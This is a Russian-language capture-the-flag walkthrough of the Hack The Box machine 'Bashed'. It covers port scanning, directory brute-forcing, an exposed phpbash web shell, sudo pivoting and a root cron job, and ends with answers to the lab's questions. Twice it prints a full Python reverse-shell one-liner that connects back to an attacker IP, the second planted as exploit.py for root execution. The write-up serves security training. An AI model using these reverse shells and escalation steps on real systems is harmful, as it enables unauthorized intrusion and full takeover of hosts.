Для начала добавим ip-адрес в файлик hosts.
sudo nano /etc/hosts

Проведем начальное сканирование masscan-ом, будем сканировать все TCP и UDP порты со скоростью 500 пакетов в секунду, через интерфейс tun0 и посмотрим результат.
sudo masscan -p1-65535,U:1-65535 10.129.5.140 --rate=500 -e tun0 > bashed
cat bashed

Теперь просканируем единственный открытый порт nmap-ом. Будем использовать опции sC для скриптов по умолчанию, sV для определения версий служб и oA для вывода результата в файл.
nmap -p80 -sC -sV -oA nmap/bashed bashed.htb

Nmap отвечает нам, что на порту 80 находится веб-сервер Apache версии 2.4.18. Видно также заголовок - Arrexel's Development Site. Давайте отроем страницу через браузер.

На странице ничего интересного, кроме упоминания phpbash не находим, поэтому перейдем к сканированию директорий сайта. Сначала установим словари и перейдем к сканированию сайта.

gobuster dir -u http://bashed.htb -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-lowercase-2.3-medium.txt
Gobuster находит нам папочку dev. Давайте пройдем туда и посмотрим, что там находится.

По указанному пути находится phpbash.php, это web-shell. Открываем указанный файл и попадаем в shell. Сразу можем прочитать пользовательский флаг.
cat /home/arrexel/user.txt | wc

На Kali машине активируем nc для прослушки порта.
nc -lnvp 1234

А в самом shell-е вставим следующий код, для подключения к указанному порту.
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.10",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Ip-адрес заменяем на адрес своего туннельного интерфейса.

Посмотрим sudo.
sudo -l

Из вывода видно, что пользователь scriptmanager может выполнять любые команды без пароля. Поэтому запустим bash.
sudo -u scriptmanager /bin/bash

Обновим наш shell следующими командами.
python3 -c 'import pty; pty.spawn("/bin/bash")'
CTRL + Z
stty raw -echo; fg
enter
export TERM=xterm-256color
В корне есть папочка scripts и в ней находятся два файла. Видно, что test.txt имеет права root. Посмотрев файл test.py, увидим, что этот скрипт создал файл test.txt. Скорее всего есть планировщик, который запускает test.py. Давайте изменим его или создадим новый файл, предварительно запустив слушатель nc на порту 2345.

nc -lnvp 2345
echo "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.16.10\",2345));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);" > exploit.py

Теперь мы находимся под пользователем root.

Можем просмотреть планировщик и прочитать флаг.

Ответы на вопросы:
How many open TCP ports are listening on Bashed? - 1
What is the relative path on the webserver to a folder that contains phpbash.php - /dev
What user is the webserver running as on Bashed? - www-data
www-data can run any command as a user without a password. What is that user's username? - scriptmanager
What folder in the system root can scriptmanager access that www-data could not? - /scripts
What is filename of the file that is being run by root every couple minutes? - test.py
Видео-прохождение доступно на рутуб-канале.
